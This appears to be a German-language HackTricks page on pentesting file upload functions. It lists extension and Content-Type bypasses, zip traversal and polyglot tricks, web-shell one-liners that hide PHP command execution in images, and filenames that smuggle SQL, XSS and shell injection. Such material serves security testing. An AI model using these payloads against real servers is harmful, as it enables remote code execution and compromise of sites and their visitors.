File Upload
Last updated
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wenn du an einer Hacking-Karriere interessiert bist und das Unhackbare hacken möchtest - wir stellen ein! (fließend Polnisch in Wort und Schrift erforderlich).
Andere nützliche Erweiterungen:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Funktioniert in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
Wenn sie zutreffen, überprüfe die vorherigen Erweiterungen. Teste sie auch mit einigen Großbuchstaben: pHp, .pHP5, .PhAr ...
Überprüfe das Hinzufügen einer gültigen Erweiterung vor der Ausführungs-Erweiterung (verwende auch vorherige Erweiterungen):
file.png.php
file.png.Php5
Versuche, Sonderzeichen am Ende hinzuzufügen. Du könntest Burp verwenden, um alle ASCII- und Unicode-Zeichen zu bruteforcen. (Beachte, dass du auch die vorher genannten Erweiterungen verwenden kannst)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Versuche, die Schutzmaßnahmen zu umgehen, indem du den Erweiterungsparser des Servers mit Techniken wie Verdopplung der Erweiterung oder Hinzufügen von Junk-Daten (Null-Bytes) zwischen den Erweiterungen täuschst. Du kannst auch die vorherigen Erweiterungen verwenden, um eine bessere Payload vorzubereiten.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Füge eine weitere Schicht von Erweiterungen zur vorherigen Überprüfung hinzu:
file.png.jpg.php
file.php%00.png%00.jpg
Versuche, die exec-Erweiterung vor der gültigen Erweiterung zu platzieren und bete, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Misconfigurationen auszunutzen, bei denen alles mit der Erweiterung .php ausgeführt wird, aber nicht unbedingt mit .php enden muss):
z.B.: file.php.png
Verwende NTFS Alternate Data Stream (ADS) in Windows. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Dadurch wird eine leere Datei mit der verbotenen Erweiterung auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “::$data” kann auch verwendet werden, um nicht-leere Dateien zu erstellen. Daher könnte das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”)
Versuche, die Dateinamensgrenzen zu brechen. Die gültige Erweiterung wird abgeschnitten. Und die bösartige PHP bleibt. AAA<--SNIP-->AAA.php
Umgehung der Content-Type-Überprüfungen, indem der Wert des Content-Type Headers auf: image/png, text/plain, application/octet-stream_ gesetzt wird.
Content-Type Wortliste: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
Umgehung der Magic Number-Überprüfung, indem am Anfang der Datei die Bytes eines echten Bildes hinzugefügt werden (verwirre den file-Befehl). Oder führe die Shell innerhalb der Metadaten ein:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
oder du könntest auch die Payload direkt in ein Bild einfügen:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
Wenn Kompression zu deinem Bild hinzugefügt wird, zum Beispiel mit einigen Standard-PHP-Bibliotheken wie PHP-GD, werden die vorherigen Techniken nicht nützlich sein. Du könntest jedoch die PLTE-Chunks Technik hier definiert verwenden, um etwas Text einzufügen, der Kompression übersteht.
Die Webseite könnte auch das Bild verkleinern, indem sie beispielsweise die PHP-GD-Funktionen imagecopyresized
oder imagecopyresampled
verwendet. Du könntest jedoch die IDAT-Chunks Technik hier definiert verwenden, um etwas Text einzufügen, der Kompression übersteht.
Eine weitere Technik, um eine Payload zu erstellen, die eine Größenänderung eines Bildes übersteht, verwendet die PHP-GD-Funktion thumbnailImage
. Du könntest jedoch die tEXt-Chunks Technik hier definiert verwenden, um etwas Text einzufügen, der Kompression übersteht.
Finde eine Schwachstelle, um die bereits hochgeladene Datei umzubenennen (um die Erweiterung zu ändern).
Finde eine Local File Inclusion-Schwachstelle, um die Hintertür auszuführen.
Mögliche Informationsoffenlegung:
Lade mehrmals (und zur gleichen Zeit) die gleiche Datei mit dem gleichen Namen hoch.
Lade eine Datei mit dem Namen einer Datei oder Ordners, der bereits existiert.
Lade eine Datei mit “.”, “..” oder “…” als Namen hoch. Zum Beispiel, in Apache in Windows, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird der “.”-Dateiname eine Datei namens “uploads” im Verzeichnis “/www/” erstellen.
Lade eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie “…:.jpg” in NTFS. (Windows)
Lade eine Datei in Windows mit ungültigen Zeichen wie |<>*?”
in ihrem Namen hoch. (Windows)
Lade eine Datei in Windows mit reservierten (verbotenen) Namen wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
Versuche auch, eine ausführbare Datei (.exe) oder eine .html (weniger verdächtig) hochzuladen, die Code ausführt, wenn sie versehentlich vom Opfer geöffnet wird.
Wenn du versuchst, Dateien auf einen PHP-Server hochzuladen, schau dir den .htaccess-Trick an, um Code auszuführen. Wenn du versuchst, Dateien auf einen ASP-Server hochzuladen, schau dir den .config-Trick an, um Code auszuführen.
Die .phar
-Dateien sind wie die .jar
für Java, aber für PHP, und können wie eine PHP-Datei verwendet werden (indem sie mit PHP ausgeführt oder in ein Skript eingebunden werden...)
Die .inc
-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum Importieren von Dateien verwendet werden, sodass jemand zu einem bestimmten Zeitpunkt diese Erweiterung zur Ausführung zugelassen haben könnte.
Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du RCE erhalten, weil neue *.xml und *.war automatisch verarbeitet werden. Wie im folgenden Bild erwähnt, lade die XML-Datei in $JETTY_BASE/webapps/
hoch und erwarte die Shell!
Für eine detaillierte Untersuchung dieser Schwachstelle siehe die ursprüngliche Forschung: uWSGI RCE Exploitation.
Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Fähigkeit hat, die .ini
-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@'-Operator, der als @(dateiname)
verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine .ini
-Konfigurationsdatei verarbeitet wird.
Betrachte das folgende Beispiel einer schädlichen uwsgi.ini
-Datei, die verschiedene Schemas zeigt:
Die Ausführung des Payloads erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst werden kann, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf automatisches Neuladen eingestellt werden. Die Auto-Reload-Funktion, wenn aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
Es ist entscheidend, die nachsichtige Natur des Parsens der Konfigurationsdatei von uWSGI zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.
In einigen Fällen kann es vorkommen, dass ein Server wget
verwendet, um Dateien herunterzuladen, und Sie können die URL angeben. In diesen Fällen überprüft der Code möglicherweise, ob die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Diese Überprüfung kann jedoch umgangen werden.
Die maximale Länge eines Dateinamens in linux beträgt 255, jedoch kürzt wget die Dateinamen auf 236 Zeichen. Sie können eine Datei mit dem Namen "A"*232+".php"+".gif" herunterladen, dieser Dateiname wird die Überprüfung umgehen (da in diesem Beispiel ".gif" eine gültige Erweiterung ist), aber wget
wird die Datei in "A"*232+".php" umbenennen.
Beachten Sie, dass eine andere Option, an die Sie denken könnten, um diese Überprüfung zu umgehen, darin besteht, den HTTP-Server auf eine andere Datei umzuleiten, sodass die ursprüngliche URL die Überprüfung umgeht und wget die umgeleitete Datei mit dem neuen Namen herunterlädt. Dies funktioniert nicht es sei denn, wget wird mit dem Parameter --trust-server-names
verwendet, da wget die umgeleitete Seite mit dem Namen der Datei herunterlädt, die in der ursprünglichen URL angegeben ist.
Upload Bypass ist ein leistungsstarkes Tool, das Pentestern und Bug-Huntern hilft, Datei-Upload-Mechanismen zu testen. Es nutzt verschiedene Bug-Bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und gründliche Bewertungen von Webanwendungen sicherzustellen.
Setzen Sie filename auf ../../../tmp/lol.png
und versuchen Sie, eine Pfad Traversierung zu erreichen.
Setzen Sie filename auf sleep(10)-- -.jpg
und Sie könnten in der Lage sein, eine SQL-Injection zu erreichen.
Setzen Sie filename auf <svg onload=alert(document.domain)>
, um ein XSS zu erreichen.
Setzen Sie filename auf ; sleep 10;
, um einige Befehlsinjektionen zu testen (mehr Befehlsinjektions-Tricks hier).
JS Datei Upload + XSS = Service Workers Ausnutzung
Versuchen Sie verschiedene svg Payloads von https://github.com/allanlw/svg-cheatsheet****
Wenn Sie den Webserver anweisen können, ein Bild von einer URL abzurufen, könnten Sie versuchen, eine SSRF auszunutzen. Wenn dieses Bild auf einer öffentlichen Seite gespeichert wird, könnten Sie auch eine URL von https://iplogger.org/invisible/ angeben und Informationen von jedem Besucher stehlen.
Speziell gestaltete PDFs für XSS: Die folgende Seite zeigt, wie man PDF-Daten injiziert, um JS-Ausführung zu erhalten. Wenn Sie PDFs hochladen können, könnten Sie einige PDFs vorbereiten, die beliebiges JS ausführen, gemäß den gegebenen Anweisungen.
Laden Sie den [eicar](https://secure.eicar.org/eicar.com.txt) Inhalt hoch, um zu überprüfen, ob der Server ein Antivirus hat.
Überprüfen Sie, ob es eine Größenbeschränkung beim Hochladen von Dateien gibt.
Hier ist eine Top-10-Liste von Dingen, die Sie durch Hochladen erreichen können (von hier):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Stored XSS / SSRF / XXE
GIF: Stored XSS / SSRF
CSV: CSV-Injektion
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML-Injektion / XSS / Open Redirect
PNG / JPEG: Pixel Flood Attack (DoS)
ZIP: RCE über LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG: "\xff\xd8\xff"
Verweisen Sie auf https://en.wikipedia.org/wiki/List_of_file_signatures für andere Dateitypen.
Wenn Sie eine ZIP-Datei hochladen können, die auf dem Server dekomprimiert wird, können Sie 2 Dinge tun:
Laden Sie einen Link hoch, der symbolische Links zu anderen Dateien enthält. Dann, beim Zugriff auf die dekomprimierten Dateien, werden Sie auf die verlinkten Dateien zugreifen:
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass dieses Setup gegen die Ausführung von OS-Befehlen durch bösartige Datei-Uploads schützen könnte, können die hierarchische Unterstützung für Kompression und die Verzeichnisdurchquerungsfähigkeiten des ZIP-Archivformats ausgenutzt werden. Dies ermöglicht Angreifern, Einschränkungen zu umgehen und sichere Upload-Verzeichnisse zu verlassen, indem sie die Dekompressionsfunktionalität der angegriffenen Anwendung manipulieren.
Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter evilarc auf GitHub. Das Dienstprogramm kann wie folgt verwendet werden:
Zusätzlich ist der Symlink-Trick mit evilarc eine Option. Wenn das Ziel darin besteht, eine Datei wie /flag.txt
anzuvisieren, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seiner Ausführung keine Fehler auftritt.
Unten ist ein Beispiel für Python-Code, der verwendet wird, um eine bösartige Zip-Datei zu erstellen:
Missbrauch von Kompression für File Spraying
Für weitere Details überprüfen Sie den Originalbeitrag unter: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Erstellen einer PHP-Shell: PHP-Code wird geschrieben, um Befehle auszuführen, die über die $_REQUEST
-Variable übergeben werden.
File Spraying und Erstellung komprimierter Dateien: Mehrere Dateien werden erstellt und ein Zip-Archiv wird zusammengestellt, das diese Dateien enthält.
Änderung mit einem Hex-Editor oder vi: Die Namen der Dateien im Zip werden mit vi oder einem Hex-Editor geändert, wobei "xxA" in "../" geändert wird, um Verzeichnisse zu durchlaufen.
Laden Sie diesen Inhalt mit einer Bilddateiendung hoch, um die Schwachstelle auszunutzen (ImageMagick , 7.0.1-1) (aus dem Exploit)
Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen imagecopyresized
und imagecopyresampled
aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Ändern der Größe und zum Resampling von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unberührt zu bleiben, ist ein erheblicher Vorteil für bestimmte Anwendungsfälle.
Eine detaillierte Erkundung dieser Technik, einschließlich ihrer Methodik und potenziellen Anwendungen, wird im folgenden Artikel bereitgestellt: "Encoding Web Shells in PNG IDAT chunks". Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
Weitere Informationen unter: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot-Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein faszinierendes Beispiel ist ein GIFAR, ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
Der Hauptnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf dem Typ filtern. Übliche Praktiken in verschiedenen Anwendungen erlauben nur bestimmte Dateitypen zum Hochladen—wie JPEG, GIF oder DOC—um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Einschränkungen heimlich umgehen.
Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel könnte der Erfolg des Hochladens eines Polyglots, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpert, von den Richtlinien der Plattform bezüglich der Dateiendungen abhängen. Wenn das System strenge Vorgaben zu zulässigen Erweiterungen hat, könnte die bloße strukturelle Dualität eines Polyglots nicht ausreichen, um sein Hochladen zu garantieren.
Weitere Informationen unter: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Wenn Sie an einer Hacking-Karriere interessiert sind und das Unhackbare hacken möchten - wir stellen ein! (fließend Polnisch in Wort und Schrift erforderlich).
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)